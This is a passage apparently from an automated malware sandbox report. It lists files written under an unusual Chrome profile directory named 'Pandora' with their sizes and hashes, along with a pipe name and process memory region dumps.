                        e58156bca5288238d341f5249d3b6c91ab37cef515358953b435339100d0596a

                        SHA512

                        232f5df71e8ec35e500ac81aa54a87b3523fe8a32168096a2a76f08e5c7868100b3cdc5155786ead489aac440beee3f84ffa43d226a5b709c66012923b20c696

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Site Characteristics Database\000003.log

                        Filesize

                        40B

                        MD5

                        148079685e25097536785f4536af014b

                        SHA1

                        c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

                        SHA256

                        f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

                        SHA512

                        c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Site Characteristics Database\LOG

                        Filesize

                        345B

                        MD5

                        7faefe4c1b5cd17b3543372b3d71cd5a

                        SHA1

                        ffd5a6a11cf48660ec217bbd0a4e288510e82500

                        SHA256

                        17aee39f9ea4439541faf19bae439dc078516fe43d5ff0ca0c13e44c1cef7b95

                        SHA512

                        e78c1fad0120385aceaa12db42a3bdb99f8c5a6f21f8ce54f4e7193fed5e0a1a1938737f57a2603c02cb80a3822c97f1cef152f0197b85777e0021f45826e2e0

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Site Characteristics Database\LOG.old

                        Filesize

                        305B

                        MD5

                        60b0a1015336c2237eb5951dc9b1762e

                        SHA1

                        a9d88be710183b41194ae19f7d8ba2222c9d3e63

                        SHA256

                        c36dc87bfebe46fc72a94ae90a6fede69ed4500a9feb2b192b65e648f9cafe73

                        SHA512

                        a2f192c0ddc86626f4231934af2c8849aa8a30a515b3477b27b0eb18b4ee04f736bb74e310ca99c103d180bb4d5b32cf9f5325349fe05097c70687ccf4a3bc91

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index

                        Filesize

                        24B

                        MD5

                        54cb446f628b2ea4a5bce5769910512e

                        SHA1

                        c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

                        SHA256

                        fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

                        SHA512

                        8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2

                        Filesize

                        8KB

                        MD5

                        0962291d6d367570bee5454721c17e11

                        SHA1

                        59d10a893ef321a706a9255176761366115bedcb

                        SHA256

                        ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

                        SHA512

                        f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Sync Data\LevelDB\000003.log

                        Filesize

                        2KB

                        MD5

                        46357d6e277cd4c93b29121fad47a72f

                        SHA1

                        26b332a254cf2344ae2fcf5acdda8ba29418dd19

                        SHA256

                        e39a8f399250cc76c9da4f2a2113daaef791a101089fc2b2d14dd4d1d443dd56

                        SHA512

                        43779b04e4bb1a30068a71db6720df86c1c365cd02085498e4279eca27f38d37d44aa57c7be75a828fbbc8c1eb1984a45ae28825eb48616ad79744821021cd74

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Sync Data\LevelDB\LOG

                        Filesize

                        321B

                        MD5

                        7ac18859664682695a8704cca6007fd7

                        SHA1

                        387c248c33f6613d1b6b57a0644f6189682061d4

                        SHA256

                        4bd8547030079417e7c0cec64ec404284d60be62f7f0f746b6c2c39fa9263704

                        SHA512

                        a6938ddddc3a0d200b5c47fe058eee8e9c4160421621fdbc2368f205ae7c41307807b3ff93d1d44375da7748b5aba6f3cb02908857df78ff7b2edf0ff1ab198f

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Sync Data\LevelDB\LOG.old

                        Filesize

                        283B

                        MD5

                        bcac36c491bd8251144ba63055d49adc

                        SHA1

                        e2f5c2bf3484083d039cd2b9571b5cc77f8664c6

                        SHA256

                        f4724d19ca1c6ee1947479dc06d2175e5e1f607393bd2d389ae7621c53edc495

                        SHA512

                        335e725897cb9facd032f18e6b7d2302b96e262c4d0bdef6b2609a48fb2b6e520d309d9921ddc328672a86854aaea9dbdf55c132085bd1636a2c76f66077c1a8

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Top Sites

                        Filesize

                        20KB

                        MD5

                        986962efd2be05909f2aaded39b753a6

                        SHA1

                        657924eda5b9473c70cc359d06b6ca731f6a1170

                        SHA256

                        d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

                        SHA512

                        e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Visited Links

                        Filesize

                        128KB

                        MD5

                        186d1f4aee1ac176b5015d0b2b0b1806

                        SHA1

                        83ced71a6304227a2fe2d6e31d9ef0df24317431

                        SHA256

                        29884c9f9ac0bc5ab074067d9ba07fa0e6cbbae3e15b59400ca048fd35eb8ee7

                        SHA512

                        c7d20aad7d3ada6e356a124f7037c19fa3576d98df437128c6e5391eaaae6b07ec99559e97949d871b1bbab26807b5cd0be9a61b660bb261f35004f893144abf

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Web Data

                        Filesize

                        114KB

                        MD5

                        e228c51c082ab10d054c3ddc12f0d34c

                        SHA1

                        79b5574c9ce43d2195dcbfaf32015f473dfa4d2e

                        SHA256

                        02f65483e90802c728726ce1d16f2b405158f666c36e2c63090e27877ae4e309

                        SHA512

                        233ca5e06591e1646edfadb84a31bdfc12632fb73c47240a2109020accfbd1e337371bcc3340eae7a1f04140bbdeb0b416ce2de00fa85671671bb5f6c04aa822

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\trusted_vault.pb

                        Filesize

                        38B

                        MD5

                        3433ccf3e03fc35b634cd0627833b0ad

                        SHA1

                        789a43382e88905d6eb739ada3a8ba8c479ede02

                        SHA256

                        f7d5893372edaa08377cb270a99842a9c758b447b7b57c52a7b1158c0c202e6d

                        SHA512

                        21a29f0ef89fec310701dcad191ea4ab670edc0fc161496f7542f707b5b9ce619eb8b709a52073052b0f705d657e03a45be7560c80909e92ae7d5939ce688e9c

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\GraphiteDawnCache\data_0

                        Filesize

                        8KB

                        MD5

                        cf89d16bb9107c631daabf0c0ee58efb

                        SHA1

                        3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

                        SHA256

                        d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

                        SHA512

                        8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\GraphiteDawnCache\data_1

                        Filesize

                        264KB

                        MD5

                        f50f89a0a91564d0b8a211f8921aa7de

                        SHA1

                        112403a17dd69d5b9018b8cede023cb3b54eab7d

                        SHA256

                        b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                        SHA512

                        bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\GraphiteDawnCache\data_3

                        Filesize

                        8KB

                        MD5

                        41876349cb12d6db992f1309f22df3f0

                        SHA1

                        5cf26b3420fc0302cd0a71e8d029739b8765be27

                        SHA256

                        e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

                        SHA512

                        e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Last Version

                        Filesize

                        14B

                        MD5

                        ef48733031b712ca7027624fff3ab208

                        SHA1

                        da4f3812e6afc4b90d2185f4709dfbb6b47714fa

                        SHA256

                        c9ce8dbbe51a4131073db3d6ceef1e11eaca6308ad88a86125f221102d2cee99

                        SHA512

                        ce3a5a429e3796977a8019f47806b8c0671b597ead642fcbfbe3144e2b8112d35a9f2250896b7f215d237d0d19c5966caf3fe674165a6d50e14cb2b88c892029

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Local State

                        Filesize

                        99KB

                        MD5

                        cb96bcdbebe0517d8f1bbe3acb5c788b

                        SHA1

                        cff793b92e8aa7f65bfcd93d3bfe359a7936120b

                        SHA256

                        75d8645dafd53b90a58bb1e778b48c6f77631e0d12653cdfd92de8067706ab9d

                        SHA512

                        acefa075bdf8567ae058a20dc359c566930adff710fb04eb2a60e7cf2b41698f4d189d8ce86a462b06bcba0eda1deadc8dd2f5fab0233f2cfc28592d15c57888

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Local State

                        Filesize

                        195KB

                        MD5

                        5d710fac1294b7f4f8cd1a7b4a5e1be9

                        SHA1

                        4e308b438fb70766a535b2369ca7018515f92632

                        SHA256

                        96ded150aed20dccfa37775d2964b9039b65fd73cb7d12046193034eb5edf194

                        SHA512

                        207a2997f31e866a943078644379377e0f7727713cafc3889d8aeefbf70dd32cafd4d6717bf3ee87494f9b350aeedaa846909680d292c0272cd733f473c327b2

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Variations

                        Filesize

                        85B

                        MD5

                        bc6142469cd7dadf107be9ad87ea4753

                        SHA1

                        72a9aa05003fab742b0e4dc4c5d9eda6b9f7565c

                        SHA256

                        b26da4f8c7e283aa74386da0229d66af14a37986b8ca828e054fc932f68dd557

                        SHA512

                        47d1a67a16f5dc6d50556c5296e65918f0a2fcad0e8cee5795b100fe8cd89eaf5e1fd67691e8a57af3677883a5d8f104723b1901d11845b286474c8ac56f6182

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\segmentation_platform\ukm_db

                        Filesize

                        28KB

                        MD5

                        3979944f99b92e44fa4b7dbcb6ee91c2

                        SHA1

                        df2161c70a820fe43801320f1c25182f891261a4

                        SHA256

                        001d755b2b560945440023bf4ebfbda797cf5106419ac7dd270924b322f3ecf3

                        SHA512

                        358e6dee698a63c2490c2fb5206516766fd8ace8f3d523509c29ff76aa6a984cb6381468f15bb4b9c084d9a470298b4cc11b0970e671ce0316243069ac4c8590

                      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133671740692555900.txt

                        Filesize

                        75KB

                        MD5

                        4e26aee22dd38ba0aa9bfc0dd7830c01

                        SHA1

                        37ec734e6c596bcd45532ea915788863d0fc0abb

                        SHA256

                        435f0990f61c1ce1bd9aafe846dc7219946db8a72b594c3620849d1de852b3cd

                        SHA512

                        5698c6195179a29c483abda55e99241a34260a5bebf542d8aa48f6dee68aa0a0958e93a7d6d16892c631aab64a3d560c8496a07dec4578bcc48f37fca115bd71

                      • \??\pipe\crashpad_2604_QARTOZKBOTDRTYYA

                        MD5

                        d41d8cd98f00b204e9800998ecf8427e

                        SHA1

                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                        SHA256

                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                        SHA512

                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                      • memory/2740-17-0x0000000003120000-0x0000000003121000-memory.dmp

                        Filesize

                        4KB

                      • memory/3424-37-0x0000023052BA0000-0x0000023052BC0000-memory.dmp

                        Filesize

                        128KB

                      • memory/3424-33-0x0000023052790000-0x00000230527B0000-memory.dmp

                        Filesize

                        128KB

                      • memory/3424-18-0x0000023051640000-0x0000023051740000-memory.dmp

                        Filesize

                        1024KB

                      • memory/3424-19-0x0000023051640000-0x0000023051740000-memory.dmp

                        Filesize

                        1024KB

                      • memory/3424-23-0x00000230527D0000-0x00000230527F0000-memory.dmp

                        Filesize

                        128KB

                      • memory/4308-0-0x00000283596B0000-0x00000283596DE000-memory.dmp

                        Filesize

                        184KB

                      • memory/4308-1-0x00007FFE6B873000-0x00007FFE6B875000-memory.dmp

                        Filesize

                        8KB

                      • memory/4440-7-0x0000000005E40000-0x00000000063E4000-memory.dmp

                        Filesize

                        5.6MB

                      • memory/4440-2-0x0000000000400000-0x0000000000418000-memory.dmp

                        Filesize

                        96KB

                      • memory/4440-5-0x0000000005450000-0x00000000054E2000-memory.dmp

                        Filesize

                        584KB

                      • memory/4440-6-0x0000000005520000-0x00000000055BC000-memory.dmp

                        Filesize

                        624KB

                      • memory/4440-602-0x0000000005700000-0x000000000570A000-memory.dmp

                        Filesize

                        40KB

                      • memory/4440-8-0x0000000005C90000-0x0000000005CF6000-memory.dmp

                        Filesize

                        408KB

                      • memory/4440-11-0x0000000006540000-0x0000000006590000-memory.dmp

                        Filesize

                        320KB